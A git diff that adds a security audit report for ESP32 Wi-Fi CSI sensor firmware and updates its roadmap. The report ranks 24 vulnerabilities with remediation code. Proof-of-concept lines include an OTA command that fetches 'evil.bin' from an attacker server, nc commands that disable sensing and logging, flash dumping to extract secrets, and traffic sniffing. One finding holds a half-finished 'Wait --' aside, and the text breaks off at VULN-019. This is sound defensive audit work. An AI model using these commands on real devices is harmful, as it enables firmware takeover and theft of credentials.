diff --git a/ROADMAP.md b/ROADMAP.md index 16d2c21..7b54d15 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -154,8 +154,21 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre - [x] OTA rollback validation (crasher firmware + bootloader rollback confirmed) - [x] Tagged v1.11.0 and OTA deployed to all 3 sensors -## v1.12 - Monitoring & Multi-Target (unreleased) +## v1.12 - Security Hardening & Monitoring (unreleased) - [x] ALERT command (temp/heap thresholds, EVENT emission, 60s holdoff, NVS persisted) +- [x] Auth whitelist (read-only queries only without HMAC) +- [x] AUTH OFF disabled remotely (serial/FACTORY only) +- [x] STATUS split (minimal unauthed vs full authed) +- [x] Rate limiter (50ms throttle, 20 cmd/s) +- [x] NVS write throttle (20 writes per 10s) +- [x] CSI buffer bounds checking (UDP_REM macro) +- [x] PMF required (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`) +- [x] mDNS stripped to hostname-only (no service advertisement) +- [x] Serial console AUTH management +- [x] Auto-generated auth secret on first boot +- [x] Pentest completed: 50+ tests, all network-facing tests PASS +- [ ] Enable stack canaries (`CONFIG_COMPILER_STACK_CHECK_MODE_NORM`) +- [ ] Enable heap poisoning (`CONFIG_HEAP_POISONING_LIGHT`) - [ ] Multi-target (send data to 2+ UDP destinations) ## Web Backend (`~/git/esp32-web/`) diff --git a/SECURITY-AUDIT.md b/SECURITY-AUDIT.md new file mode 100644 index 0000000..3f9a749 --- /dev/null +++ b/SECURITY-AUDIT.md @@ -0,0 +1,758 @@ +# ESP32 CSI Sensor Firmware Security Audit Report + +**Target:** `get-started/csi_recv_router/main/app_main.c` (v1.11/v1.12 unreleased) +**Source:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c` +**ESP-IDF Version:** 5.5.2 +**Date:** 2026-02-14 + +--- + +## 1. Executive Summary + +This firmware implements a Wi-Fi CSI (Channel State Information) sensor with UDP-based command/control, BLE scanning, OTA updates, and mDNS service discovery. The overall security posture is **moderate risk for a LAN-deployed sensor, high risk if exposed to untrusted networks**. The most critical findings are: (1) OTA updates are accepted over plaintext HTTP without firmware signature verification, enabling trivial remote code execution by any LAN attacker; (2) the UDP command interface binds to all interfaces with no source IP filtering and an authentication system that can be entirely disabled via a privileged command; (3) the HMAC authentication secret is logged to serial in cleartext on first boot; (4) NVS stores all secrets in plaintext (no flash encryption enabled); and (5) secure boot and flash encryption are explicitly disabled in the build configuration, leaving the device vulnerable to physical firmware extraction and modification. + +**Overall Risk Rating: HIGH** (on a trusted LAN); **CRITICAL** (if any network segment is shared with untrusted devices). + +--- + +## 2. Attack Surface Map + +### 2.1 Network Interfaces + +| Interface | Protocol | Port/Channel | Auth | Encryption | Direction | +|-----------|----------|-------------|------|------------|-----------| +| Wi-Fi STA | 802.11 (WPA2/WPA3) | Configured channel | PSK (via `example_connect()`) | WPA2/WPA3 | Both | +| UDP Data | UDP | Configurable (default 5500) | None | None | Outbound only | +| UDP Command | UDP | Configurable (default 5501) | HMAC-SHA256 (optional) | None | Inbound + Reply | +| mDNS | mDNS/UDP | 5353 | None | None | Both | +| BLE | BLE GAP | N/A | None | None | Receive only (passive scan) | +| OTA | HTTP/HTTPS | Attacker-controlled URL | HMAC on command trigger | Optional (HTTP allowed) | Outbound | +| Promiscuous | 802.11 raw | All channels (during chanscan) | N/A | N/A | Receive only | +| ICMP Ping | ICMP | N/A | None | None | Outbound to gateway | + +### 2.2 External Input Entry Points + +| Entry Point | Source | Trust Level | Validation | +|-------------|--------|-------------|------------| +| UDP command socket (port 5501) | Any LAN host | Untrusted (HMAC optional) | Partial (per-command) | +| Wi-Fi CSI callback | Wi-Fi driver | Trusted (kernel) | MAC filter | +| Promiscuous RX callback | Wi-Fi driver | Untrusted (raw frames) | Frame type filter | +| BLE advertisement RX | BLE driver | Untrusted (broadcast) | Field parsing | +| NVS stored config | Flash | Trusted (physical access = full compromise) | Range validation | +| UART console | Physical serial | Trusted (physical) | ESP-IDF console | +| OTA firmware image | HTTP(S) server | Untrusted | ESP-IDF image header only | + +### 2.3 Data Storage + +| Storage | Type | Encryption | Contents | +|---------|------|-----------|----------| +| NVS (`csi_config`) | Key-value flash | **Not encrypted** | Auth secret, hostname, config, baseline calibration, boot count | +| OTA partitions (`ota_0`, `ota_1`) | App binary | **Not encrypted** | Firmware images | +| `phy_init` | PHY calibration | No | RF calibration data | + +### 2.4 Trust Boundaries + +``` + UNTRUSTED + +-----------------------------------------+ + | LAN Network | + | +-- UDP commands (port 5501) | + | +-- mDNS announcements | + | +-- OTA download targets | + | +-- Raw 802.11 frames | + | +-- BLE advertisements | + +-----------------------------------------+ + | + [HMAC gate, optional] + | + TRUSTED + +-----------------------------------------+ + | ESP32 Firmware | + | +-- cmd_handle() [privileged ops] | + | +-- NVS config storage | + | +-- OTA flash write | + | +-- WiFi/BLE driver control | + +-----------------------------------------+ + | + [No encryption, no secure boot] + | + +-----------------------------------------+ + | Physical Hardware | + | +-- UART (921600 baud) | + | +-- JTAG (not disabled) | + | +-- Flash memory (readable) | + +-----------------------------------------+ +``` + +### 2.5 Partition Table + +| Partition | Offset | Size | Notes | +|-----------|--------|------|-------| +| nvs | 0x9000 | 16 KB | Unencrypted config store | +| otadata | 0xD000 | 8 KB | OTA boot selection | +| phy_init | 0xF000 | 4 KB | PHY calibration | +| ota_0 | 0x10000 | 1920 KB | Primary firmware | +| ota_1 | 0x1F0000 | 1920 KB | Secondary firmware (OTA target) | + +No factory partition. No coredump partition. + +### 2.6 Third-Party Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| ESP-IDF | >= 4.4.1 (actual: 5.5.2) | Framework | +| esp_csi_gain_ctrl | >= 0.1.4 | CSI gain compensation | +| espressif/mdns | >= 1.0.0 | mDNS service | +| NimBLE | Bundled with ESP-IDF | BLE stack | +| mbedTLS | Bundled with ESP-IDF | HMAC-SHA256 | +| protocol_examples_common | ESP-IDF examples | WiFi connection helper | + +--- + +## 3. Findings Table (Sorted by Severity) + +| ID | Severity | CVSS | Category | Summary | +|----|----------|------|----------|---------| +| VULN-001 | Critical | 9.8 | E (OTA) | Unsigned OTA over plaintext HTTP allows RCE | +| VULN-002 | Critical | 9.1 | H (Physical) | Secure boot and flash encryption disabled | +| VULN-003 | High | 8.8 | B (Auth) | Auth secret logged in cleartext on first boot | +| VULN-004 | High | 8.1 | D (Network) | UDP command channel has no transport encryption | +| VULN-005 | High | 7.5 | B (Auth) | Auth can be disabled remotely via AUTH OFF | +| VULN-006 | High | 7.5 | C (Crypto) | Auth secret stored unencrypted in NVS | +| VULN-007 | High | 7.5 | B (Auth) | Non-privileged commands accessible without auth | +| VULN-008 | Medium | 6.5 | D (Network) | UDP command socket binds to INADDR_ANY | +| VULN-009 | Medium | 6.1 | B (Auth) | HMAC replay window of 60 seconds | +| VULN-010 | Medium | 5.9 | A (Memory) | Potential buffer overflow in CSI UDP buffer | +| VULN-011 | Medium | 5.3 | I (InfoDisc) | mDNS leaks device type, hostname, port | +| VULN-012 | Medium | 5.3 | I (InfoDisc) | STATUS command exposes build date, IDF version, chip details | +| VULN-013 | Medium | 5.3 | J (DoS) | Unbounded OTA URL length via strdup | +| VULN-014 | Medium | 4.6 | G (Concurrency) | Race conditions on shared globals between tasks | +| VULN-015 | Low | 3.9 | H (Physical) | UART console active at 921600 baud | +| VULN-016 | Low | 3.7 | F (WiFi) | Wi-Fi credentials in plaintext NVS | +| VULN-017 | Low | 3.1 | J (DoS) | NVS write throttle bypassable over time | +| VULN-018 | Low | 3.1 | D (Network) | No rate limiting on command socket | +| VULN-019 | Low | 2.4 | A (Memory) | probe body_len calculated from untrusted sig_len | +| VULN-020 | Info | N/A | I (AI Pattern) | Example code pattern used in production | +| VULN-021 | Info | N/A | C (Crypto) | HMAC truncated to 64 bits | +| VULN-022 | Info | N/A | E (OTA) | No firmware version anti-rollback enforcement | +| VULN-023 | Info | N/A | F (WiFi) | PMF (802.11w) not explicitly enabled | +| VULN-024 | Info | N/A | G (FreeRTOS) | Tight stack allocations on several tasks | + +--- + +## 4. Detailed Findings + +### VULN-001: Unsigned OTA Over Plaintext HTTP Allows Remote Code Execution + +- **Severity:** Critical +- **CVSS v3.1:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) +- **Category:** E (OTA Security) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `ota_task()`, lines 1211-1242; `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, line 67 +- **Description:** The `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y` setting allows OTA downloads over plaintext HTTP. The `esp_http_client_config_t` has no TLS certificate configured (no `cert_pem`, no `crt_bundle_attach`). Even when an HTTPS URL is used, there is no server certificate validation -- the connection accepts any certificate. The OTA image is checked only by ESP-IDF's internal image header validation (magic bytes and partition compatibility), but there is no cryptographic signature verification because secure boot is disabled. This means any device on the same network can perform an ARP spoofing or DNS spoofing attack to serve a malicious firmware image. +- **Proof of Concept:** + 1. Attacker on the same LAN observes the OTA command (or simply triggers one after compromising auth or when auth is disabled). + 2. Attacker sets up a rogue HTTP server with a crafted ESP32 firmware image. + 3. Sends UDP command: `OTA http://:8080/evil.bin` (or intercepts legitimate OTA traffic via ARP spoofing). + 4. Device downloads and flashes the malicious firmware, then reboots with attacker-controlled code. +- **Remediation:** + ```c + // In sdkconfig.defaults, remove or set to n: + // CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y + // Replace with: + CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n + + // In ota_task(), add certificate validation: + esp_http_client_config_t http_cfg = { + .url = url, + .timeout_ms = 30000, + .crt_bundle_attach = esp_crt_bundle_attach, // Use ESP-IDF cert bundle + }; + + // Additionally, enable secure boot v2 to verify firmware signatures + // CONFIG_SECURE_BOOT=y + // CONFIG_SECURE_BOOT_V2_ENABLED=y + ``` + +--- + +### VULN-002: Secure Boot and Flash Encryption Disabled + +- **Severity:** Critical +- **CVSS v3.1:** 9.1 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) +- **Category:** H (Physical/Side-Channel) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.sample`, lines 357-359, 2147 +- **Description:** Both secure boot (`CONFIG_SECURE_BOOT`) and flash encryption (`CONFIG_SECURE_FLASH_ENC_ENABLED`, `CONFIG_FLASH_ENCRYPTION_ENABLED`) are explicitly disabled. This allows physical attackers to: (a) read the entire flash contents including the auth secret and Wi-Fi credentials via esptool.py, (b) flash arbitrary firmware, (c) modify the bootloader. On the ESP32 (which supports Secure Boot V1), this is the primary hardware security mechanism. +- **Proof of Concept:** + ```bash + # Read entire flash (requires USB access): + esptool.py -p /dev/ttyUSB0 read_flash 0 0x400000 dump.bin + # Extract NVS partition with auth secret: + python3 nvs_partition_tool.py dump.bin --partition-offset 0x9000 --partition-size 0x4000 + ``` +- **Remediation:** Enable secure boot and flash encryption (note: this is a one-way eFuse operation for production): + ``` + CONFIG_SECURE_BOOT=y + CONFIG_SECURE_BOOT_V2_ENABLED=y + CONFIG_SECURE_FLASH_ENC_ENABLED=y + CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y + ``` + +--- + +### VULN-003: Auth Secret Logged in Cleartext on First Boot + +- **Severity:** High +- **CVSS v3.1:** 8.8 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) +- **Category:** I (Information Disclosure) / B (Authentication) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `config_load_nvs()`, line 355 +- **Description:** When no auth secret exists (first boot or after factory reset), a random 32-character hex secret is generated and logged via `ESP_LOGW`: + ```c + ESP_LOGW(TAG, "AUTH: generated secret: %s (note this for remote access)", s_auth_secret); + ``` + This secret is the sole authentication credential for privileged operations (OTA, REBOOT, FACTORY, TARGET, etc.). It is printed to the UART console at 921600 baud, which could be captured by any serial monitoring tool, logging infrastructure, or by an attacker with physical proximity to the serial port. If the device is connected to a USB-to-serial adapter during provisioning, the secret is visible to anyone with access to the host machine's serial logs. +- **Proof of Concept:** Connect to UART at 921600 baud during device boot or factory reset. The auth secret appears in the boot log. +- **Remediation:** + ```c + // Replace the log line with a partial redaction: + ESP_LOGW(TAG, "AUTH: secret generated (first 4 chars: %.4s...)", s_auth_secret); + // Or better, use a provisioning protocol that doesn't log the secret at all. + // Consider a dedicated provisioning command that reveals the secret once + // only when triggered via physical button press. + ``` + +--- + +### VULN-004: UDP Command Channel Has No Transport Encryption + +- **Severity:** High +- **CVSS v3.1:** 8.1 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) +- **Category:** D (Network/Protocol Security) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, lines 2491-2570 +- **Description:** The entire command and control protocol runs over plaintext UDP. Even with HMAC authentication enabled, an attacker on the same network can: (a) sniff all command traffic and responses, including device status, configuration, hostname, IP targets; (b) observe the HMAC tokens and timestamps, which, while not directly reusable outside the 60-second window, reveal the pattern and timing of commands; (c) capture the full CONFIG and STATUS responses which contain operational intelligence. The HMAC protects integrity and authentication of privileged commands, but provides zero confidentiality. +- **Proof of Concept:** + ```bash + # From any machine on the same LAN: + tcpdump -i eth0 -A udp port 5501 + # All commands and responses visible in cleartext + ``` +- **Remediation:** For a constrained UDP protocol on a LAN sensor, full DTLS may be impractical. Consider: + 1. Restricting the command socket to accept only from configured management IPs. + 2. Using DTLS (mbedTLS supports it on ESP32) for the command channel. + 3. At minimum, encrypt sensitive response data with a shared key. + +--- + +### VULN-005: Auth Can Be Disabled Remotely via AUTH OFF + +- **Severity:** High +- **CVSS v3.1:** 7.5 (AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) +- **Category:** B (Authentication) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()`, lines 2094-2112 +- **Description:** The `AUTH OFF` command disables authentication entirely by clearing the secret and persisting an empty string to NVS. Once an attacker obtains the HMAC secret (via VULN-003, VULN-006, or by intercepting it), they can permanently disable authentication, making all future commands (including OTA, REBOOT, FACTORY) executable by anyone on the network without any credentials. The `AUTH` command is listed in `cmd_requires_auth()` (line 1519), so it does require HMAC to execute -- but once executed, the device is permanently open until reboot or manual re-configuration. +- **Proof of Concept:** + ```bash + # After obtaining the secret, compute HMAC and send: + echo "HMAC:::AUTH OFF" | nc -u 5501 + # Device now accepts all commands without authentication + ``` +- **Remediation:** Remove the ability to disable auth remotely. Only allow secret rotation (changing to a new secret), not removal: + ```c + if (strcmp(arg, "OFF") == 0) { + snprintf(reply, reply_size, "ERR AUTH cannot be disabled remotely"); + return strlen(reply); + } + ``` + +--- + +### VULN-006: Auth Secret Stored Unencrypted in NVS + +- **Severity:** High +- **CVSS v3.1:** 7.5 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) +- **Category:** C (Cryptography) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `config_load_nvs()`, line 276; function `config_save_str()` used at line 354 +- **Description:** The HMAC authentication secret is stored as a plaintext string in the NVS partition under the key `auth_secret`. Since flash encryption is disabled (VULN-002), the secret can be read directly from the flash chip using esptool or a flash programmer. This provides an attacker with full privileged access to the device's command interface, including OTA (code execution) and FACTORY (denial of service). +- **Remediation:** Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) and flash encryption, or store the secret in eFuse if a single immutable secret is acceptable. + +--- + +### VULN-007: Non-Privileged Commands Accessible Without Authentication + +- **Severity:** High +- **CVSS v3.1:** 7.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L) +- **Category:** B (Authentication) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_requires_auth()`, lines 1513-1522; `cmd_task()`, lines 2543-2563 +- **Description:** The `cmd_requires_auth()` function only gates 6 commands: OTA, FACTORY, REBOOT, TARGET, AUTH, HOSTNAME. All other commands are freely accessible without authentication, including several that can significantly alter device behavior: + - `RATE` -- change CSI sampling rate (affects monitoring accuracy) + - `POWER` -- change TX power (2-20 dBm, affects RF environment) + - `BLE ON/OFF` -- enable/disable BLE scanning + - `ADAPTIVE ON/OFF` -- enable/disable adaptive sampling + - `CSI OFF` -- disable CSI collection entirely (blind the sensor) + - `CSIMODE` -- change output format + - `CALIBRATE` -- trigger/clear baseline calibration (manipulate presence detection) + - `PRESENCE OFF` -- disable presence detection + - `CHANSCAN NOW` -- trigger channel scanning (disrupts CSI for ~1.3s) + - `LOG NONE` -- suppress all logging (hide attack traces) + - `POWERSAVE ON` -- degrade sensor performance + - `FLOODTHRESH 100 300` -- suppress deauth flood detection + - `ALERT OFF` -- disable monitoring alerts + - `POWERTEST` -- run power test (disrupts normal operation for minutes) +- **Proof of Concept:** + ```bash + # No authentication needed to blind the sensor: + echo "CSI OFF" | nc -u 5501 + echo "PRESENCE OFF" | nc -u 5501 + echo "LOG NONE" | nc -u 5501 + echo "FLOODTHRESH 100 300" | nc -u 5501 + # Sensor is now blind, not detecting presence, not logging, and not alerting on deauth floods + ``` +- **Remediation:** Require authentication for all commands that modify device behavior. Only STATUS, CONFIG, PROFILE, PING, HELP, and HOSTNAME (query-only) should be unauthenticated: + ```c + static bool cmd_requires_auth(const char *cmd) + { + // Allow only read-only commands without auth + if (strcmp(cmd, "STATUS") == 0) return false; + if (strcmp(cmd, "CONFIG") == 0) return false; + if (strcmp(cmd, "PROFILE") == 0) return false; + if (strcmp(cmd, "PING") == 0) return false; + if (strcmp(cmd, "HELP") == 0) return false; + if (strcmp(cmd, "HOSTNAME") == 0) return false; + if (strcmp(cmd, "CALIBRATE STATUS") == 0) return false; + if (strcmp(cmd, "PRESENCE") == 0) return false; // query only + if (strcmp(cmd, "ALERT") == 0) return false; // query only + // Everything else requires auth + return true; + } + ``` + +--- + +### VULN-008: UDP Command Socket Binds to INADDR_ANY + +- **Severity:** Medium +- **CVSS v3.1:** 6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) +- **Category:** D (Network Security) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, line 2503 +- **Description:** The command socket binds to `INADDR_ANY` (0.0.0.0), accepting commands from any network interface. While the ESP32 typically has only one Wi-Fi interface, if the device is connected to a network with routing to the internet, the command port could potentially be reachable from outside the LAN. +- **Remediation:** Bind to the specific station IP address after connecting to Wi-Fi, or implement source IP filtering to restrict commands to known management hosts. + +--- + +### VULN-009: HMAC Replay Window of 60 Seconds + +- **Severity:** Medium +- **CVSS v3.1:** 6.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) +- **Category:** B (Authentication) / C (Cryptography) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `auth_verify()`, lines 1470-1477 +- **Description:** The HMAC replay protection uses a +/-30 second window around device uptime (`drift < -30 || drift > 30`). This means a captured HMAC-authenticated command can be replayed within a 60-second window. There is no nonce or sequence number to prevent replay. Additionally, the timestamp is based on device uptime (not wall-clock time), which is predictable and resets on reboot. After a reboot, all previously used timestamps in the first 30 seconds of the previous boot are valid again. +- **Proof of Concept:** + 1. Capture an HMAC-signed command from the network. + 2. Replay it within 60 seconds -- the device will accept it. + 3. After a device reboot, replay commands from the first 30 seconds of the previous session. +- **Remediation:** Implement a nonce/sequence counter: + ```c + // Add a monotonic sequence counter stored in NVS + static uint32_t s_auth_seq = 0; + // Require sequence number in HMAC payload: "HMAC:::" + // Reject if seq <= s_auth_seq; update s_auth_seq on success + ``` + +--- + +### VULN-010: Potential Buffer Overflow in CSI UDP Buffer + +- **Severity:** Medium +- **CVSS v3.1:** 5.9 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) +- **Category:** A (Memory Safety) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `wifi_csi_rx_cb()`, lines 686-721 +- **Description:** The `s_udp_buffer` is 2048 bytes. The CSI data is serialized into this buffer using repeated `snprintf` calls. In raw mode, each I/Q value is formatted as a signed integer with a comma separator. For the worst case, `info->len` could theoretically be large (ESP32 CSI buffers can be up to ~384 bytes for HT40). With 384 I/Q values, each formatted as up to 6 characters (","-32768"), the raw payload alone could reach ~2304 bytes, exceeding the 2048-byte buffer. While `snprintf` prevents writing beyond the buffer boundary (it respects the size parameter), the data will be silently truncated, potentially causing malformed output that could confuse downstream parsers. The `pos` variable will still be incremented beyond `sizeof(s_udp_buffer)` since `snprintf` returns the number of bytes that *would have been written*, and subsequent `snprintf` calls will compute `sizeof(s_udp_buffer) - pos` as a very large number (unsigned wraparound), effectively disabling the size check. + + Specifically, at line 718: + ```c + pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, ",%d", ...); + ``` + If `pos` exceeds `sizeof(s_udp_buffer)`, then `sizeof(s_udp_buffer) - pos` wraps to a huge value (since `pos` is `int` and the subtraction result is passed as `size_t`), and the next `snprintf` will write past the buffer. + + Wait -- `pos` is `int` and `sizeof(s_udp_buffer) - pos` when `pos > sizeof(s_udp_buffer)`: since `sizeof` returns `size_t` (unsigned), and `pos` is `int`, when `pos > 2048`, the subtraction could result in a large unsigned value due to implicit conversion. However, `s_udp_buffer + pos` would already point past the buffer. This creates a heap/stack corruption scenario if the CSI data is large enough. + +- **Proof of Concept:** Send CSI frames with maximum HT40 I/Q data (384 bytes) in raw mode. The serialized output will exceed 2048 bytes, causing memory corruption in `s_udp_buffer` (which is a global, so adjacent globals could be corrupted). +- **Remediation:** + ```c + // Add bounds check after each snprintf: + if (pos >= (int)sizeof(s_udp_buffer) - 10) { + ESP_LOGW(TAG, "CSI buffer overflow prevented"); + break; + } + // Or increase buffer size to accommodate worst case: + static char s_udp_buffer[4096]; + ``` + +--- + +### VULN-011: mDNS Leaks Device Type, Hostname, and Port + +- **Severity:** Medium +- **CVSS v3.1:** 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) +- **Category:** I (Information Disclosure) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `app_main()`, lines 2668-2672 +- **Description:** The device announces itself via mDNS with: + - Hostname: configurable (e.g., `muddy-storm.local`) + - Instance name: "ESP32 CSI Sensor" (hardcoded) + - Service: `_esp-csi._udp` with the data target port + + This allows any device on the LAN to discover all CSI sensors, their hostnames, and the port they send data to, without any authentication. This is valuable reconnaissance information for an attacker. +- **Remediation:** Remove the hardcoded "ESP32 CSI Sensor" instance name or make it configurable. Consider whether mDNS service advertisement is necessary for production deployments. + +--- + +### VULN-012: STATUS Command Exposes Build Info and Device Details + +- **Severity:** Medium +- **CVSS v3.1:** 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) +- **Category:** I (Information Disclosure) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()` STATUS section, lines 1695-1778 +- **Description:** The STATUS command (accessible without authentication) returns extensive device information including: + - Build date and time (`app_desc->date`, `app_desc->time`) + - ESP-IDF version (`app_desc->idf_ver`) + - Chip model and revision (`chip_model`, `chip_info.revision`) + - Firmware version (`app_desc->version`) + - Free heap, NVS usage statistics + - Whether auth is on/off + - Target IP and port (reveals the monitoring infrastructure) + - All operational parameters + + This information aids an attacker in identifying specific CVEs for the IDF version, understanding the device's role, and finding the monitoring server. +- **Remediation:** Require authentication for STATUS or create a minimal public STATUS that only returns PONG-style acknowledgments. Move detailed information behind authentication. + +--- + +### VULN-013: Unbounded OTA URL Length via strdup + +- **Severity:** Medium +- **CVSS v3.1:** 5.3 (AV:A/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H) +- **Category:** J (DoS) / A (Memory Safety) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()`, line 2125 +- **Description:** The OTA URL is duplicated via `strdup(url)` without length validation beyond the 191-byte `rx_buf`. While `rx_buf` is 192 bytes (line 2515), limiting the maximum URL length to ~180 characters (after command prefix and null terminator), the `strdup` itself does not validate that the allocation succeeded, though the code does check for NULL on line 2126. The real concern is that `rx_buf` at 192 bytes naturally limits URL length, but if `rx_buf` were ever increased, this would become a larger issue. Currently, the 192-byte command buffer serves as an implicit size limit. +- **Remediation:** Add an explicit URL length check: + ```c + if (strlen(url) > 128) { + snprintf(reply, reply_size, "ERR OTA URL too long (max 128)"); + return strlen(reply); + } + ``` + +--- + +### VULN-014: Race Conditions on Shared Globals Between Tasks + +- **Severity:** Medium +- **CVSS v3.1:** 4.6 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L) +- **Category:** G (FreeRTOS/Concurrency) +- **Location:** Multiple locations throughout `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c` +- **Description:** Multiple FreeRTOS tasks (cmd_task, adaptive_task, wifi_csi_rx_cb, led_task, ble callbacks) access shared global variables without mutexes. While some variables are marked `volatile`, this only prevents compiler optimizations and does NOT provide atomicity on the Xtensa architecture for operations wider than 32 bits. Specific concerns: + - `s_baseline_amps[]` (float array, 256 bytes) is written by `adaptive_task` during calibration finalization (line 996) while simultaneously read by `wifi_csi_rx_cb` for presence scoring (line 665). A partial update could produce incorrect presence scores. + - `s_csi_mode`, `s_send_frequency`, `s_adaptive`, `s_presence_enabled` are written by `cmd_task` and read by `wifi_csi_rx_cb` and `adaptive_task` without synchronization. + - `s_calibrating` is set by `cmd_task` (line 2231) and cleared by `adaptive_task` (line 1012), and read by `wifi_csi_rx_cb` (line 647). While `volatile bool` operations are likely atomic on Xtensa, the multi-variable state transitions (setting `s_calib_count`, `s_calib_nsub`, then `s_calibrating`) are not atomic as a group. + - `s_pr_scores[]` is written by `wifi_csi_rx_cb` and read by `adaptive_task`. +- **Remediation:** Use a FreeRTOS mutex for accessing shared calibration/presence state, or use FreeRTOS task notifications for signaling state changes. For simple flags, `volatile` is sufficient on Xtensa, but arrays and multi-field updates need synchronization. + +--- + +### VULN-015: UART Console Active at 921600 Baud + +- **Severity:** Low +- **CVSS v3.1:** 3.9 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) +- **Category:** H (Physical) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, lines 11-14 +- **Description:** The UART console is enabled on UART0 at 921600 baud. All ESP_LOG output (including the auth secret on first boot per VULN-003) is transmitted over this serial connection. In a deployed sensor, if the UART pins are accessible (e.g., via a debug header or exposed pads), an attacker can passively capture all device logs, including configuration details, event notifications, and error messages. +- **Remediation:** For production builds, consider: + ``` + CONFIG_ESP_CONSOLE_NONE=y # Disable console entirely + # Or at minimum: + CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce default log verbosity + ``` + +--- + +### VULN-016: Wi-Fi Credentials Stored in Plaintext NVS + +- **Severity:** Low +- **CVSS v3.1:** 3.7 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) +- **Category:** F (WiFi/BLE) +- **Location:** Implicit -- `example_connect()` from `protocol_examples_common` stores Wi-Fi SSID/password in NVS +- **Description:** The Wi-Fi connection uses ESP-IDF's `example_connect()` helper, which stores the SSID and PSK in the default NVS namespace. Without NVS encryption or flash encryption, these credentials can be extracted by reading the flash chip. This is a standard ESP32 configuration weakness, but notable because these credentials provide network access. +- **Remediation:** Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) or flash encryption. + +--- + +### VULN-017: NVS Write Throttle Bypassable Over Time + +- **Severity:** Low +- **CVSS v3.1:** 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) +- **Category:** J (DoS) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `nvs_write_throttle()`, lines 378-391 +- **Description:** The NVS write throttle limits writes to 20 per 10-second window. However, this allows a sustained rate of 2 writes/second indefinitely. ESP32 flash endurance is typically 100,000 erase cycles per sector. At 2 writes/second, and assuming NVS page rotation over 16KB (4 x 4KB sectors), flash wear-out could occur in approximately 100,000 / 2 / 3600 = ~14 hours of sustained attack. While the throttle is a good mitigation, it may not be aggressive enough for a determined attacker. + + Additionally, `config_erase_key()` (line 441) does NOT go through the throttle, providing an unthrottled NVS write path. +- **Remediation:** + 1. Add throttle check to `config_erase_key()`. + 2. Consider a stricter limit (e.g., 5 writes per 60 seconds). + 3. Add a per-IP rate limit on the command socket itself (VULN-018). + +--- + +### VULN-018: No Rate Limiting on Command Socket + +- **Severity:** Low +- **CVSS v3.1:** 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) +- **Category:** D (Network Security) +- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, lines 2520-2569 +- **Description:** The command socket processes every received UDP packet with no rate limiting. An attacker can flood the command port with rapid requests, consuming CPU time in the command processing task (priority 5, one of the highest in the system). While individual NVS writes are throttled, the command parsing, HMAC verification (SHA-256 computation), and reply generation all consume resources without any throttle. +- **Remediation:** Add a per-source-IP rate limiter or a global command rate limit: + ```c + static int64_t s_last_cmd_time = 0; + int64_t now = esp_timer_get_time(); + if (now - s_last_cmd_time < 50000) { // 50ms minimum between commands + continue; // Drop packet + } + s_last_cmd_time = now; + ``` + +--- + +### VULN-019: Probe body_len Calculated from Untrusted sig_len + +- **Severity:** Low +- **CVSS v3.1:** 2.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) +- **Category:** A (Memory Safety) +- **Location:** 